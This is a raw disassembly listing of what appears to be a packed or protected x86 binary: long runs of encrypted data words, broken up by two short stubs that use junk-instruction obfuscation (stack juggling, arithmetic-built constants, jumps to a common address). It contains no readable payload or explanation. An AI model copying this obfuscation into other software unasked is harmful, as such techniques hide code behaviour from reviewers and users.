dd 70430CA7h, 7F2F638h, 414A7796h, 4402318h, 6C0F1293h
dd 122F293Bh, 5AE904EBh, 0AAE94086h, 0A2000004h, 176A7034h
dd 4A3FDBDFh, 0A584028Eh, 1B6E7432h, 0B936DCE2h, 8A18C5DAh
dd 0F0BE3D0Ch, 596597EAh, 8D0BCCBDh, 83245D01h, 0F9F1F8D2h
dd 6ED80203h, 59D82369h, 5B5F97D6h, 18B95102h, 12AB80FCh
dd 0FAE0AE2Fh, 965E5287h, 0DF46A512h, 0CA515F9Ch, 0C0393881h
dd 0B420A3FAh, 0AFE995F0h, 0F46E6BD7h, 0C971CC1Ah, 265996F8h
dd 0B5F3E4A7h, 1853A394h, 0A40572FCh, 555983E6h, 0BE02F849h
dd 0AFF5E46Fh, 8C0F725Ch, 18532A2Bh, 3B8CFBFCh, 5F74333h
dd 0AB2C1DB9h, 14979EEDh, 185382B3h, 6EEF48FCh, 0A7FC1853h
dd 0FCFF42C8h, 76079B6h, 0FC18536Bh, 70FEF670h, 0F8C1C531h
dd 4FD8F42h, 613C3Ah, 6E060000h, 0F40E969h, 0C6FC18B9h
dd 0FF347A63h, 631E7B82h, 78FC18B9h, 948F6CEh, 4BFFC8CEh
dd 3A041396h, 135h, 0EFAE0900h, 6F33A9E7h, 870BCF32h, 0FFBB3B26h
dd 3FB125ACh, 18B9D99Ah, 0C63308FCh, 0F3B93CA7h, 0D4A0EAA8h
dd 0AAF0E7A6h, 7326C653h, 0DDF52E01h, 0DC184760h, 8A4F32D8h
dd 6ED8860Ch, 9DC4276Dh, 0B4CE5D59h, 7B49B2F5h, 7539A120h
dd 5F68A516h, 90131F17h, 18B90637h, 37BCDFFCh, 55A56038h
dd 6E6ADD0Ah, 25D69922h, 0C7266495h, 0E5A95396h, 9A5F22A8h
dd 9246891Ch, 1355FF0Eh, 9D41EC23h, 568E3A04h, 0B000000h
dd 3F2E2F88h, 88E7FC18h, 6D6E4B3Fh, 5D9DC427h, 0E48CA51h
dd 8D13C836h, 0FFBB2001h, 2746B3F7h, 287339BCh, 33764E88h
dd 3A0411EEh, 3B5Dh, 0EFAE6100h, 0F7907FE7h, 0E76F7C8Fh
dd 0AD2E11AAh, 0F5AEAE3Bh, 13482A7Bh, 0F934988h, 5A2A1CFCh
dd 25A1EFECh, 22666E3Fh, 0B9C07EDBh, 6FD9FC18h, 13BD1097h
dd 1123A04h, 54000000h, 0AE2C6A6Eh, 0EF529BE2h, 1477ACEAh
dd 1F6E2CADh, 71BD89B3h, 68990589h, 9CEFB329h, 0E373E5Fh
dd 4840DB64h, 0B599867Fh, 7E1515B2h, 0B78C01FAh, 0F49127B0h
dd 0D0154FDEh, 0AB77FC47h, 1DAEAF0Dh, 8C0ACF76h, 0F0B62306h
dd 0CBB5CC95h, 7CEAF9FAh, 0FFBD3A88h, 0BAC7DF48h, 0E15E1694h
dd 0FCBFC2D8h, 2928B1FFh, 5093EAB0h, 689AE1A7h, 4F88F6CEh
dd 961AC083h, 0F465C677h, 36F9FA6Ch, 0FA6CA091h, 1C3A71F9h
dd 0B4F8E027h, 23AFE451h, 0E6E8A865h, 0F4073Fh, 0AE3B0000h
dd 2DACECEFh, 0D8912A67h, 545C9DBBh, 4F8C1FA5h, 5A2A512h
dd 1FADFA9h, 536198DBh, 9C5C83C8h, 0E453B710h, 13995E81h
dd 4EE572F7h, 0A05419C1h, 8A4FF2CBh, 9DCACE06h, 9412C70Eh
dd 8B7BFD71h, 0D6FCBA3Fh, 0E65675A8h, 6099D83Fh, 5780C35Ah
dd 5481CA51h, 3F0E73h, 18300000h, 119D5F79h, 61409D8Ah
dd 75EFB21Bh, 0FB5CC338h, 0FC188DAAh, 30196CDBh, 0FC188D3Fh
dd 7269286Fh, 5D64BEF0h, 6FA42EDFh, 0A420145Eh, 319689BDh
dd 0FC184BD0h, 3DAC2A01h, 5Ah, 577B1841h, 0D2E777D0h, 4B3E01FAh
dd 7FFC0F8Bh, 7F78FB02h, 48910639h, 30900BECh, 0F5B4526Bh
dd 4C488C04h, 91ABF417h, 0CEF9FAB9h, 995EAC98h, 5FC4F713h
dd 9D53F46Bh, 0F007E3FFh, 21444AB1h, 39763ABEh, 0C136B9CCh
dd 1C46A0FBh, 83A7AC28h, 0BD453B9Ch, 0D3A809CAh, 0EFAE0937h
dd 1045A0EEh, 7AC72D07h, 0A039F342h, 0E3664AD7h, 1156A46h
dd 3EBC8D02h, 7FE60572h, 0F8C4367Ah, 0B5220783h, 7CED94F7h
dd 0E59A2D81h, 8ACB6C9Dh, 5BF9F2ECh, 17B0B7ECh, 0F9F2EC26h
dd 0DE2780FFh, 446D808Fh, 0BA08FCBEh, 2E537F3Dh, 9922686Fh
dd 9B21D6h, 1A4C16C1h, 81AC2197h, 9CC72693h, 86C95C58h
dd 63A8964Eh, 96D8A5A3h, 5A83C259h, 0A094D654h, 0F0C48E58h
dd 4B575582h, 84BB01F6h, 738A18C5h, 0DB5AE1FAh, 0EE845C98h
dd 9A0C4598h, 0D23D8EFBh, 3, 6E9DA7E8h, 96D92C68h, 81C05B61h
dd 8D34575Bh, 0BA25404Eh, 0A9287341h, 0D41F6E34h, 0C1009B21h
dd 0CF769519h, 0F2788307h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
mov esp, [esp]
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ecx
push 5B2Bh
mov [esp], edi
sub esp, 4
mov [esp], edi
mov edi, 373E2A57h
inc edi
sub edi, 3154E88Ch
mov ecx, edi
pop edi
push 37F8h
mov [esp], esp
add dword ptr [esp], 4
pop edi
push ebp
mov ebp, ecx
push ebx
mov ebx, ebp
mov [edi+8], ebx
pop ebx
pop ebp
push dword ptr [esp]
pop edi
add esp, 4
mov ecx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_4F5CCB
; ---------------------------------------------------------------------------
db 0C6h
dd 0D2132FB9h, 45F5B852h, 0C50305E9h, 3103E0FFh, 0E6C6E86h
dd 0AB564C26h, 0A6DD1EA4h, 0DBD6066h, 16463A78h, 216A4DCBh
dd 685F7677h, 7E885E3Ch, 8E5F31A3h, 30C667F7h, 60AB5E97h
dd 0ACF62478h, 75C7743h, 10DD7A23h, 0BBB74F2h, 0B33922AEh
dd 0DD997E83h, 80E4249Fh, 80E51CADh, 0CE0608B6h, 0B03B4FF7h
dd 515B4C3Eh, 600A5E92h, 60772EC1h, 0C0FE51C7h, 36453288h
dd 32DA7824h, 46C17CE8h, 5A863BE6h, 60D0DE2h, 7D3D5FC2h
dd 8D8D20EEh, 5E9480Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 14h, 0D0C35646h, 0C8D38166h, 0A5BD8B5Fh, 8905E22Ah
dd 0E20BE98Dh, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1D04h, 0C3574700h, 7BB7B5F9h, 7F25A982h
dd 56BAE8CEh, 0E9601ED8h, 11h, 0ABE2E03Ah, 8BED8EF2h, 11ABD7DAh
dd 87E86AA9h, 6185C746h, 0DC05E207h, 5300005Fh, 22D1B501h
dd 0C75B05E2h, 0E21B5585h, 5, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1704h, 0C3504000h, 0F381C9EAh
dd 5E8h, 2348AB00h, 0FE90DFFh, 7B000000h, 0B011A037h, 0DF217341h
dd 0F3D63D77h, 0FF587182h, 0E23045B5h, 0FFC18B05h, 0E20B1595h
dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h
dd 0C3534300h, 24122B48h, 528ABF52h, 8C0F2595h, 3, 6A0DE880h
dd 0B995FF00h, 8B05E20Ah, 8C0CEBC0h, 0B3B9F20Ch, 81F60676h
dd 0EB7C02E2h, 0C5846304h, 0CFBE972h, 0B680000h, 0E905E94Ah
dd 0FFF937DFh, 0E94AF568h, 37D5E905h, 0BC68FFF9h, 0E905E94Ch
dd 0FFF937CBh, 0E94DD668h, 37C1E905h, 6268FFF9h, 0E905E951h
dd 0FFF937B7h, 0E952D168h, 37ADE905h, 0C868FFF9h, 0E905E953h
dd 0FFF937A3h, 31DDD91Fh, 9A008470h, 636F33A7h, 35D1D71Eh
dd 9D398774h, 0BD3E7F66h, 6396EBF7h, 0AF0B15Dh, 0B0291886h
dd 81E0ECEAh, 0F1F13738h, 67A7EEF9h, 0A1EDEFAEh, 0B95819BEh
dd 0B289FC18h, 0EBB12629h, 0E2A85190h, 1EA2589Bh, 4D39238Fh
dd 40B8F8E1h, 0E03B8176h, 0AE0B3E6Bh, 0FC18B9ADh, 0AFD20F64h
dd 7A0ECECh, 0F7BD3E03h, 876196EBh, 4763DFC4h, 84BBF079h
dd 5B9F11C5h, 4A873457h, 6E6BEA71h, 0A4A9A228h, 34088180h
dd 0B19213F1h, 0FC5DC4E5h, 1FAE81Eh, 86E33A71h, 0F9FAF7E9h
dd 1887CFAh, 3FE65DCCh, 5F63h, 3ABDFC00h, 0EB6CCD7Ch, 3AF9FAFFh
dd 0AE8E7C4Dh, 1BACEAEFh, 2FD53D22h, 0ED1C181Bh, 82275A97h
dd 1FA95D0h, 3F309918h, 0D6F9FAE5h, 6DDA4099h, 0A354171Eh
dd 3C8986E5h, 0CC780F61h, 0B41DAE1Bh, 0F9FAAEBFh, 0D75A2AACh
dd 3FE62AFAh, 2A24C653h, 2301C00Fh, 6AB1FFFCh, 0D55BD8E1h
dd 6F000000h, 0D823696Eh, 0CF5E6499h, 17D70544h, 0ACE9BA5Ah
dd 0B7D6030Fh, 3DBAA506h, 34A52C7Fh, 25FF6876h, 53FC189Ch
dd 2DBE910h, 6D1C9A5Fh, 973C90FCh, 16B7F6DCh, 0C2C83170h
dd 3EB9F8BBh, 89966F78h, 8D05A2A5h, 2401FAC6h, 8B88434Fh
dd 6007A0A7h, 9E041F31h, 0D903A09h, 96895FEAh, 0DF680031h
dd 419AD1F7h, 78FB6EC5h, 0F1C082EFh, 0DFE80963h, 22256B90h
dd 0A15506A3h, 0B78CF7DFh, 0E1048870h, 0F2B75374h, 4A7EBB09h
dd 29FE7EBFh, 0A74F55Ch, 73650000h, 1ED6AB37h, 0CD0D7C9Ah
dd 7164C5C1h, 21DAAF2Bh, 19F87793h, 4D495784h, 2BB7FDFCh
dd 0F218A456h, 464C4A8Fh, 91C2679Eh, 40F9F1F3h, 6D6E19DDh
dd 9106BB27h, 0BD299B26h, 649926Eh, 1CFCBD1h, 0D0577B18h
dd 0FAD1C777h, 0B22B1E01h, 2D54B7ECh, 99226E6Ah, 0FAA10330h
dd 0DED610F9h, 0A5E91150h, 0B6B41546h, 3FE62B5Bh, 0BEF0h
dd 696ECA00h, 6499D823h, 0AA62CF5Eh, 1EFC18BEh, 0B237D3D9h
dd 3F853425h, 0BF083B47h, 3A4147B0h, 0F3C1387Bh, 0F396705Ah
dd 4A51412h, 1F02262Bh, 0DF1D9D5Ch, 0D60766D3h, 0F52D8AF5h
dd 1C01FA25h, 0EB72027h, 11927DDEh, 0D9928851h, 6E9190B4h
dd 59094AEFh, 63D8F9FBh, 0E9F2BE3Ch, 1E89EA80h, 0D3562D04h
dd 0B9256B90h, 568713C8h, 43B83D48h, 7D452C26h, 4B2A7FFEh
dd 98Ah, 0BD595D9Bh, 68C08CCh, 0EFEBB723h, 0B15D5B9Ah
dd 19850BF0h, 41BA03E2h, 0E7125773h, 8E4C3DD9h, 34A58402h
dd 1D646876h, 0F1F3BBBCh, 0E32B6AF9h, 0AE2D6D6Eh, 1B5085E0h
dd 0F4B22564h, 857237D3h, 6EDD9B07h, 7D3C2369h, 86AD3E7Ch
dd 0F61C9A5Fh, 18B9D855h, 0AFEDEAFCh, 13995E23h, 0A904988h
dd 68A70F3h, 5A1BBCE7h, 8BFC18B9h, 8E4DBCh, 63531DE5h
dd 675F991Dh, 32D8DE1Bh, 810FCC8Fh, 52E8F17Ah, 3A04137Fh
dd 8A2Ch, 7B181600h, 0F377D057h, 2A01FACAh, 44E9F381h
dd 0C9062251h, 6858D5B2h, 0D4BF9FAh, 0E01BF639h, 64B03FE6h
dd 8A000000h, 18B9FA88h, 0BF93B0FCh, 0C69B2F88h, 266901FAh
dd 0B5D1EAAEh, 335C4022h, 2966BAD5h, 4D1FDCADh, 83B5CE8Ah
dd 46BC8CC9h, 0CC0E3E5Fh, 266292D5h, 0C25996C7h, 0C54468F5h
dd 18F4AA64h, 606EC504h, 5C5A9EC1h, 7A01D9Bh, 8F1EA258h
dd 6392D32h, 3EEC09A1h, 4E89F80Ah, 43B83D48h, 5870247h
dd 18380000h, 51D0577Bh, 18B94708h, 0E77D9EFCh, 78E0B056h
dd 7F33663h, 5AFF22BBh, 1FABC9Ch, 0C4ADF8B7h, 0F9FA33AFh
dd 0C74A3ABCh, 3FE6990Ah, 554A1h, 8C0F8500h, 0E6994DD2h
dd 0FAC3D541h, 0F1370C01h, 3FE0BE56h, 0F3D77CA0h, 0F4F7EB4Ch
dd 4205AE5Dh, 44F11498h, 3D482763h, 7A615FC4h, 84F1B73Eh
dd 0C059D84Fh, 0CE0CB559h, 2D5149C2h, 0DE349D2Eh, 6AB477C5h
dd 0E5E3FFDh, 194AC3C9h, 0BD03F808h, 54236740h, 276592D5h
dd 5718A120h, 8E477760h, 28298EB1h, 0F9477760h, 0DC6D3982h
dd 8A535F9Dh, 6F9412C7h, 4ED5FC5Dh, 0C3F85B2Eh, 0D2000007h
dd 77A6024h, 7ACFCBCFh, 0D594327Eh, 0B7E6422h, 0A9C6CCD2h
dd 0BA08F5CAh, 0E0AE2D1Ch, 495587FAh, 0BDFBFC4Dh, 73D42D11h
dd 0F9F1F5C2h, 6EA81213h, 0EFD82369h, 7EDB4E62h, 1FAD128h
dd 0FF70D958h, 16F9FAA1h, 0A9E6A453h, 0C8618A10h, 2D89AB59h
dd 3372F522h, 34A1C4CAh, 7CED6C93h, 0E1236CFCh, 0E4174AEEh
dd 0BD0E4FDEh, 0C54448B2h, 0C9118254h, 0E8E4AF63h, 0BABAD350h
dd 0BCE3159h, 0D4F56685h, 0F897336h, 36A7C6CCh, 94C5A2F9h
dd 56F9FA73h, 42D9E517h, 0DA57B009h, 9EF9FA03h, 0DAADDF1h
dd 4180FD1h, 9FF80378h, 0F7DC4FE2h, 87F77F1h, 45C909D5h
dd 2E7Ah, 7B184C00h, 2E51D057h, 18B9C889h, 0B12819FCh
dd 0E65398E3h, 0EC9E7CC5h, 0BAF101FAh, 0B88E1287h, 0BEDFE317h
dd 0E2FBBAFCh, 24F85Bh, 18020000h, 51D0577Bh, 18B94708h
dd 89645FCh, 6D943502h, 0FAE31ACCh, 0CB7E3501h, 0ED6F725Eh
dd 0DCED3D46h, 696E75B1h, 0D600C623h, 86E30A45h, 6A9BFh
dd 7A3EB800h, 0ADE9ED5Ch, 14984021h, 7E3CBB8Eh, 0A6EC1150h
dd 0DBE48338h, 33769C22h, 6DDCFAC8h, 0C2A7236Fh, 4B0B9715h
dd 0F4DC9D3Ah, 875F9F1h, 9D7B18C2h, 18B93B3Ch, 209DEAFCh
dd 5856A821h, 980DCB35h, 1E41C04Fh, 0AF08D1D7h, 1FA3477h
dd 0FD47D9Eh, 0DF566A4Fh, 0FB24F97Ah, 0E65328F9h, 75C31A75h
dd 63D8BF0Bh, 9A20D918h, 0D1D7EB7Ch, 8C932680h, 143932D8h
dd 8C4E3130h, 0DF78A700h, 2CD4BF0Fh, 5C1DBA3Dh, 2ECF083Eh
dd 378E6AAh, 0E01D6CBAh, 0D2084BD2h, 0C12491CEh
dd 0B452569Eh, 0B7AA9E83h, 6847534h, 6C03E315h, 0AD3A9F8h
dd 0EA522DA1h, 7865C432h, 0C1AEFD2Ah, 0C4EA1DACh, 0DA7FFEBFh
dd 0C4EA1D99h, 60EAF348h, 36A7E694h, 0F62B5F68h, 5572F6B3h
dd 178h, 577B1869h, 0D71F77D0h, 0F9B601FAh, 3AA0E3A2h
dd 0FB307C7Ch, 0AF922BA0h, 3666C2Ah, 0ECB5D0D6h, 2681ECD6h
dd 0E38F6721h, 687137A0h, 0C760F0E9h, 0D135E096h, 0E042F354h
dd 0A493D135h, 0E94C1BEh, 0C43978FBh, 1D2EAFFEh, 0D135E05Ch
dd 79E5AB2Eh, 41B6B902h, 0CD0C8C71h, 0FA738AC7h, 9D117E8Dh
dd 0C80E4EAAh, 8F48B68Eh, 0A4571609h, 0DB4E8F1Eh, 602AFD7Eh
dd 8E5F14A8h, 41E66998h, 0A8602A10h, 0C6376AC1h, 7760EFF8h
dd 4F7C13Bh, 0F11441BEh, 33361A38h, 0E7068A70h, 8D2A5576h
dd 0A8602A2Ch, 0F7BB3F7Eh, 0A831B0D6h, 0A8602AA7h, 2A93C465h
dd 0F542A860h, 39A51269h, 0A3D113Eh, 0FF0E8C4Bh, 85226D7Eh
dd 55822DB9h, 65E49BD0h, 211445E2h, 76CDA642h, 422164D5h
dd 0E5C6BDA6h, 4642D75Eh, 91D5E9E2h, 0E9EE516Ah, 1D682EA9h
dd 26763D8h, 931FDDD5h, 99ECA82Ch, 0BB84E75Ch, 0A642E9A2h
dd 25B2FFh, 0E58E6BEEh, 0DED69029h, 0AE2B6790h, 0B417B3E8h
dd 2A360EE1h, 30DE8E91h, 8E4F0EB1h, 0D770E500h, 32B78C66h
dd 8E0ACABFh, 3881FE7Fh, 0A3FAC039h, 97D861E0h, 4E32B78Ch
dd 0BE8FE8F1h, 0CF4CCF55h, 8C4DB98Dh, 0B8E1B0Eh, 0D4222831h
dd 0B7E2CBDh, 9418C2CEh, 988FC471h, 419A20D9h, 6C40CD3Ah
dd 84BA5CFDh, 1E55550Ch, 3C51F0h, 6F2E0000h, 0A185266Ch
dd 3C9D7B18h, 0FC18B93Bh, 5F6397EAh, 0E5528FCCh, 0ECF1C562h
dd 0A63301FAh, 16A2BCC5h, 0E62485AAh, 3F37289h, 0B8F01B87h
dd 755BC7A3h, 84EC55F2h, 4E25F9FAh, 696E39EDh, 4302A723h
dd 0FCB51694h, 6BCC7357h, 1FAC21Bh, 0E1A72E11h, 72F542D8h
dd 454BB0F3h, 99DA7F26h, 48F9FAB0h, 3A2586F3h, 93D6FCC0h
dd 0D6CAF969h, 7085B35Dh, 0A17E03Bh, 862326h, 0BB04188Fh
dd 0A3D0B9CCh, 0E7F7DCBEh, 46D3567Ah, 87AA0CFDh, 78372084h
dd 78F1972Dh, 51F63982h, 0A3E7D7Dh, 0E34CDF94h, 0EDBE7C4Eh
dd 234BDC5Dh, 0FEE0180Ch, 4A0BACD3h, 9BEDBE4Dh, 63531BACh
dd 0DC0942D7h, 8C61232Eh, 0A5D20F3Bh, 45794BAAh, 4D000000h
dd 696C2FAEh, 0CA93D823h, 0FC18B989h, 0E1DAE358h, 0A96427Ch
dd 0E03DAADDh, 0E2B8BB6Dh, 0C267AA33h, 1FAE3F4h, 9532B534h
dd 0F9FAFBA4h, 3425067Dh, 0EDF9FAFBh, 9AD13596h, 95410003h
dd 1F69C811h, 9D000000h, 0D0577B18h, 0B9470851h, 0A19EFC18h
dd 0AE309918h, 4101FAE3h, 0C63477EAh, 912AA3FAh, 696E308Ah
dd 0D5FAC623h, 0ACF90A45h, 31DC5h, 0CECA0C00h, 317561C0h
dd 9824D495h, 0C2C80F72h, 2A7865C4h, 2F7017ACh, 87FAE0AEh
dd 0E1404E54h, 562BB7FBh, 0F7FF1BA1h, 0E828298Eh, 0B4F9F9F1h
dd 23696E76h, 71D659D8h, 0FC18B9C0h, 0DE815A11h, 7BEC9319h
dd 121BAC04h, 575B9F2Fh, 714A8734h, 0A6551495h, 7F488D18h
dd 0B2B59986h, 0FA1C4115h, 3F3F5801h, 4597DC43h, 0FB44A71Ch
dd 0F9FA5746h, 0EC231355h, 3FE6FD31h, 931FDD9Ch, 0AFA00908h
dd 66F9FA5Fh, 860BDC09h, 3Ah, 5D7B18B8h, 4E8F1E9Ch, 4FDEDC1Bh
dd 39AED10Eh, 34BEDCEDh, 0D3526FE0h, 21785CFDh, 0C267AA33h
dd 1FAD390h, 0C891F443h, 0F9FAA3BBh, 0D3562EA8h, 3FE62CFEh
dd 105ADh, 696E9100h, 9DE8AE29h, 5998E358h, 448F1EA4h
dd 4FF61593h, 45860C8Ah, 0FC18BE4Fh, 9CDD7AFDh, 0B5FC18BCh
dd 7562EDFEh, 21D6AB37h, 8801009Bh, 395DFAEEh, 14EDFEDAh
dd 83245B0Fh, 1FA9E83h, 2AB5B029h, 9E3FA5E6h, 6462D94Dh
dd 74E542C5h, 0ADF9FA48h, 0A0689B0Ah, 4B80CA1Bh, 1DAE614h
dd 72B28h, 0F7169C41h, 0BB3A6546h, 2CBD03F8h, 1F4B4FC3h
dd 9689E604h, 0F75020D7h, 0F7DE6246h, 0F46BA09Fh, 0DE62E253h
dd 634433F7h, 0FDFABD3Ch, 0BA232EBFh, 0C73275F4h, 9029A2F9h
dd 7846B78Ah, 7EFA4F33h, 220D18FEh, 1AEh, 517D39BFh, 3AA0E410h
dd 830F9347h, 557137BEh, 3DD9E714h, 1DDEDF86h, 0C3360B97h
dd 6A90D1FDh, 10C9B826h, 21400C8Ah, 0F1EBD798h, 0C7070EF9h
dd 0C98A2FAEh, 18FC18B9h, 0B90F40E9h, 69C6FC18h, 37A4AB3Ch
dd 0BE3C7463h, 296685F2h, 1187A284h, 5895C28Eh, 8C0ACFB2h
dd 7B185806h, 0C777D057h, 1E01FAD1h, 0C07DDA21h, 0F2F9FAA1h
dd 0FC678602h, 8F54B7FDh, 7F81F7CFh, 479A0DF9h, 0E43FE62Bh
dd 0B1h, 23696EDEh, 0C4C059D8h, 0E9B525FFh, 0F7305992h
dd 7CDE18C8h, 2624C18Dh, 6C91D0E9h, 0A27AC726h, 16FC1871h
dd 8A3FDBE1h, 6DADAE0Bh, 564FC18h, 2699D6D4h, 90DFE8B4h
dd 0EDDA2167h, 7CDD4C60h, 1FA03AAh, 77606EC5h, 0C043C6EAh
dd 2F525881h, 0FA4BC98Ah, 9A2318F9h, 1F9B3E31h, 0E998D704h
dd 636F35A6h, 0AAD7DD1Eh, 0FE7E33B2h, 0B785ECB9h, 0A6000000h
dd 1B6E7430h, 4E33DFDBh, 0A998068Ah, 1F62682Eh, 0BDCAD0DEh
dd 8E14C9D6h, 0F4BA2100h, 5D619BEEh, 8107F0B1h, 8F285905h
dd 0F9F1EACEh, 6EDC1E07h, 6120276Dh, 0FDA93278h, 414D4B8Ch
dd 23696E9Bh, 506099D8h, 5687E6AAh, 55FAFD19h, 0C3387E7Bh
dd 164FB5Ch, 0B8890202h, 2011B640h, 0F1F9F1F1h, 0F5104DBAh
dd 880ECB8Ah, 0C1C7303Fh, 357364C5h, 0C3F089D6h, 4F0976ACh
dd 4F88CB77h, 8F17049h, 0A2E50482h, 0EA557632h, 39B8AFEDh
dd 0EA3DF90h, 0A0397681h, 1D9B5A85h, 4E26208Eh, 15B1F7E0h
dd 7639A354h, 0B3F7FF46h, 84BA039Ah, 3553C4Fh, 69000000h
dd 686E9DA7h, 6196D92Ch, 5B81C05Bh, 4E8D3457h, 41BA2540h
dd 34A92873h, 21D41F6Eh, 19C1009Bh, 7CF7695h, 56F27883h
dd 0C681E689h, 4, 8704EE83h, 895C2434h, 8956242Ch, 4C681E6h
dd 83000000h, 348704EEh, 2C895C24h, 26B96824h, 0C890000h
dd 48716824h, 2C8B05E9h, 4C48324h, 240C8B54h, 5304C483h
dd 8BBh, 89CB0100h, 241C8B2Bh, 4C481h, 0C8B0000h, 0E7895724h
dd 4C781h, 0C7810000h, 4, 5C243C87h
db 8Bh, 2Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_4F5CCB
; ---------------------------------------------------------------------------
dd 54A4B8B2h, 0C50305E9h, 0C9DDE0FFh, 962646E6h, 0D43F7AAFh
dd 76E0390Ah, 68B10395h, 9A363E45h, 475C24A3h, 0D01D0005h
dd 81F12AF0h, 0DEB24DF7h, 8B8441B4h, 5C197478h, 6B8F3138h
dd 5ADC4931h, 5B165C7Ch, 1DA649EEh, 3B503FF2h, 80A9140Eh
dd 6FFB4773h, 0F8B23E94h, 999644A7h, 49724667h, 531C2AE0h
dd 0DCD12B49h, 434F7855h, 498F0D22h, 34B222DCh, 0CDC24D34h
dd 4EB36EAh, 286385EEh, 514E9h, 9612C400h, 0F9BD3908h
dd 206C6CDDh, 8A10C7BAh, 0F2C03D0Ch, 0E7B85FD4h, 5F22A8F6h
dd 0B988169Ch, 0EE537F43h, 3F27A3E9h, 0ECF061C6h, 7C21F9F1h
dd 34258205h, 0EDF9F1ECh, 6E713596h, 59D82369h, 0BBB6FCC0h
dd 6A7398F8h, 22A8F6E7h, 891C9A5Fh, 0F00B9146h, 0FA018571h
dd 0B806FEB8h, 0EC5D793Fh, 8ECF68EEh, 47FC18E2h, 5217B3E8h
dd 0F465E4A8h, 4A6B5724h, 826CED2Ah, 0B1E1F98Fh, 0BF264D9Eh
dd 0CB17763Ch, 0F302D146h, 62E99555h, 0EAF3B73Fh, 0B4269460h
dd 5A9FE2E8h, 746C95Ch, 0B6A700D0h, 6FFC18B3h, 0B40DB10h
dd 0B382B314h, 0E453FC18h, 0B3C47AC3h, 6BDDFC18h, 2BACEF9Bh
dd 0F32E5C6Dh, 583A041Dh, 59h, 23696E62h, 0B9C07FD8h, 61E7FC18h
dd 13BF1295h, 0F96E3A04h, 0EDE7CD44h, 9805A68Ch, 1, 22666EA2h
dd 585C98DBh, 0DA0342CDh, 894CF3D4h, 7E79F803h, 7762ED38h
dd 7E45D229h, 41AB29EFh, 0C6BEA800h, 0BA8ACC72h, 0D206884Ch
dd 347591CEh, 342C5C3h, 14F2CBD7h, 276D6E2Eh, 5D599DC4h
dd 4232B4CEh, 4AB307F4h, 0B928298Eh, 82F9FC18h, 4FF21855h
dd 8E1FD9DAh, 0B5125337h, 0FC181984h, 10A9E65Dh, 9BE2A851h
dd 6D1CA058h, 190C4DEAh, 0D91EFC18h, 70348D3h, 6CF49F28h
dd 2D6C1AEAh, 529BE2B0h, 5B99C839h, 0EFF8C13Fh, 443965Bh
dd 67353Ah, 6E090000h, 0B720276Dh, 0C9DB5FACh, 0C90483Bh
dd 0E46FF6D7h, 0F6B9A8F4h, 1A21BAFEh, 18665E18h, 0B031DDE3h
dd 51A7A831h, 17EFC18h, 7444B9B8h, 0BFCE3B81h, 0A0FBC134h
dd 0BBEEC600h, 3A04F976h, 4ED5h, 6D6EE900h, 5F9DC427h
dd 5489C853h, 45B43F4Eh, 9804D3A3h, 62DF5DE4h, 0C1B5BF1Bh
dd 0FE7617Fh, 6E743AA3h, 0FE666E60h, 0BC2FA074h, 0D32A676Fh
dd 0A5E91150h, 0B87BB04h, 0ED9CFC18h, 1F6E2AAAh, 71450DDEh
dd 4C5E33Eh, 1483Ah, 6E720000h, 9CC7266Ah, 87CE5D5Bh, 66334A50h
dd 0AE7237F5h, 0BCA3D8Fh, 72347E8Dh, 65AC3E82h, 0DFC038F4h
dd 0B20BF188h, 8A4EBC88h, 5DCCC80Ch, 18B97BFCh, 60DDAAFCh
dd 0F8EC717Ah, 0CD5EE049h, 3DAA01FAh, 0EAE10F5h, 0F614B540h
dd 0A20786B9h, 0F9FA18B1h, 0ABB20B60h, 0EDE9AF28h, 0CE5D5B9Ch
dd 0FA18CE61h, 951495F9h, 0CC72304h, 38012566h, 0F9FA0537h
dd 5C629BEEh, 0C6578CC9h, 0DE198F0Eh, 420CDD68h, 0D5D30472h
dd 2CA2C552h, 0BF07D88Dh, 0D009782Eh, 71F0B3CAh, 0FA6067E8h
dd 48C1BEF9h, 4D88A6B7h, 5619A23Ah, 0A4EA11A1h, 0D0DC1E41h
dd 0A7DF2E9Bh, 14C53105h, 248D1F4Ah, 2CAB01F6h, 61DE1F6Eh
dd 2DE0AE34h, 823FE704h, 12Bh, 0ECEFAEA4h, 272C05A6h, 47BB1C03h
dd 0AE01FADFh, 2D9C22DBh, 5D9EEDA9h, 9D5A85E0h, 0AC5687C3h
dd 0A5127535h, 98F4839h, 7F0B3F2h, 0E8F17A81h, 372A7069h
dd 0D2C123B4h, 693BDAB6h, 0FA1F9FD0h, 0E0F9B6F9h, 9482945h
dd 76F0C9CDh, 3A67F07Eh, 0BF27294Bh, 0BB3C2384h, 76ABD1FDh
dd 0D53FE645h, 47h, 557918E9h, 0B91475D2h, 0F64DFC18h
dd 0B989CA97h, 79E1FC18h, 2EC8578Dh, 18B9C889h, 292219FCh
dd 0B1ACDADBh, 265996ACh, 3F5102A7h, 0AB80FC18h, 0D94AEF12h
dd 8FC183Fh, 88329733h, 0F3000000h, 254044B0h, 185317B0h
dd 77D0577Bh, 1FAD2E7h, 0BB3A413Eh, 2F52783Eh, 9A23696Ch
dd 16422D7h, 0FAA30C38h, 0FEC238F9h, 20B624AFh, 0FAA3D687h
dd 0FB300FF9h, 0F1B521A0h, 0CF3B0B4Dh, 0F17A810Dh, 4A3A2C84h
dd 0D277FBFCh, 0F9FAA361h, 8006F1B0h, 4EBBF065h, 0DD1958DBh
dd 0A3CF80D9h, 2906F9FAh, 34778A90h, 8E1FAC6h, 8720270Bh
dd 7E0144Bh, 0CF7695E2h, 91798C0Ah, 78E5DFD7h, 5E74D554h
dd 0F109C97Eh, 0AE561CBAh, 0B9C98A2Fh, 2318FC18h, 88BCA19Ah
dd 0EA23099h, 0FEB50202h, 0F5B324AFh, 595F98E9h, 0CEA965C2h
dd 9ED82C4Ah, 139F58A6h, 8CCD6AE6h, 45CF6C8Ch, 5E44B1EEh
